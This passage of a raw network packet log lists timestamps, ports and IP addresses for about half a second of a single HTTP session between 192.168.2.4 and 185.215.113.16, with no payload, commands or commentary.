Nov 30, 2024 09:44:36.834774971 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.834789038 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.834845066 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.836231947 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.836244106 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.836302996 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.837342978 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.837402105 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.837469101 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.838962078 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.839023113 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.839121103 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.839591026 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.839602947 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.839647055 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.839659929 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.840002060 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.840013027 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.840058088 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.841383934 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.841396093 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.841458082 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.842741966 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.842753887 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.842802048 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.844238043 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.844250917 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.844296932 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.845475912 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.845487118 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.845530987 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.846856117 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.846868038 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.846905947 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.848225117 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.848236084 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.848284960 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.849591017 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.849603891 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.849637985 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.849677086 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.851198912 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.851211071 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.851258993 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.852355957 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.852366924 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.852411032 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.854233027 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.854244947 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.854288101 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.855070114 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.855081081 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.855124950 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.856451035 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.856462002 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.856501102 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.857816935 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.857829094 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.857866049 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.859215975 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.859226942 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.859265089 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.860557079 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.860567093 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.860615015 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.861938000 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.861948967 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.861999035 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.863496065 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.863507986 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.863557100 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.864983082 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.864995003 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.865032911 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.975563049 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.975622892 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.975910902 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.975958109 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.976608038 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.976656914 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.977278948 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.977323055 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.977987051 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.978030920 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.978667021 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.978738070 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.979300976 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.979357958 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.999289036 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:36.999485016 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:36.999605894 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.000293016 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.000353098 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.000988960 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.001049042 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.001843929 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.001856089 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.001894951 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.003648996 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.003698111 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.004117966 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.004164934 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.004524946 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.004537106 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.004574060 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.005805969 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.005846977 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.006489992 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.006536961 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.007195950 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.007209063 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.007245064 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.008526087 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.008572102 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.009206057 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.009253025 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.009911060 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.009922981 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.009954929 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.009965897 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.011284113 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.011354923 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.011955023 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.012001038 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.012718916 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.012729883 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.012767076 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.014161110 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.014173031 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.014209986 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.015450954 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.015461922 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.015496969 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.016856909 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.016869068 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.016906023 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.018188000 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.018198967 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.018235922 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.019556999 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.019567013 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.019606113 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.020917892 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.020929098 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.020968914 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.022315025 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.022326946 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.022357941 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.022375107 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.023657084 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.023669004 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.023709059 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.025042057 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.025053024 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.025090933 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.026418924 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.026431084 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.026468992 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.027789116 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.027801037 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.027837038 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.029238939 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.029251099 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.029284000 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.029304028 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.030606985 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.030618906 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.030654907 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.031991959 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.032002926 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.032037020 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.033375978 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.033387899 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.033428907 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.034718037 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.034729004 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.034766912 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.036092043 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.036104918 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.036149979 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.037746906 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.037760019 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.037796974 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.038836956 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.038849115 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.038885117 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.040204048 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.040254116 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.040263891 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.040365934 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.041572094 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.041583061 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.041620970 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.043032885 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.043051958 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.043092966 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.044338942 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.044351101 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.044387102 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.045687914 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.045706987 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.045737028 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.045759916 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.047066927 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.047076941 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.047127008 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.048425913 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.048435926 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.048475981 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.049828053 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.049838066 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.049873114 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.051171064 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.051182985 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.051220894 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.052534103 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.052546978 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.052580118 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.052603960 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.053908110 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.053920031 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.053947926 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.053961039 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.055309057 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.055324078 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.055356026 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.055366993 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.056658030 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.056668997 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.056704998 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.058022022 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.058032990 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.058065891 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.058085918 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.059391975 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.059402943 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.059441090 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.060898066 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.060939074 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.060946941 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.061050892 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.062444925 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.062455893 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.062491894 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.063965082 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.063977003 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.064012051 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.064033031 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.065495014 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.065505981 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.065515995 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.065541983 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.065561056 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.066986084 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.067033052 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.176907063 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.177217960 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.177295923 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.177905083 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.178601980 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.178654909 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.179291964 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.180026054 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.180078030 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.180650949 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.180695057 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.200598001 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.200659990 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.200926065 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.200975895 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.201598883 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.202279091 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.202342987 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.202976942 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.203030109 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.203620911 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.203685045 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.204336882 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.204381943 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.205012083 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.205070019 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.205722094 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.205734015 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.205775023 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.207055092 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.207216024 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.207767963 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.208473921 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.208484888 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.208534956 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.208561897 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.211894035 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.212088108 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.213392973 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.213406086 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.213416100 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.213438988 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.213464975 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.214871883 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.214884043 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.214926958 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.216253996 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.216265917 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.216304064 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.218059063 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.218072891 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.218106031 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.218117952 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.220675945 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.220724106 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.222184896 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.222197056 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.222229958 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.223723888 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.223737001 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.223773956 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.225240946 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.225253105 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.225286961 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.225307941 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.226773024 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.226784945 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.226794004 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.226821899 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.226840973 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.228303909 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.228315115 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.228348970 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.228362083 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.229839087 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.229850054 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.229882956 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.231323004 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.231333971 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.231372118 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.232831001 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.232842922 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.232851028 CET	80	49759	185.215.113.16	192.168.2.4
Nov 30, 2024 09:44:37.232877016 CET	49759	80	192.168.2.4	185.215.113.16
Nov 30, 2024 09:44:37.232891083 CET	49759	80	192.168.2.4	185.215.113.16
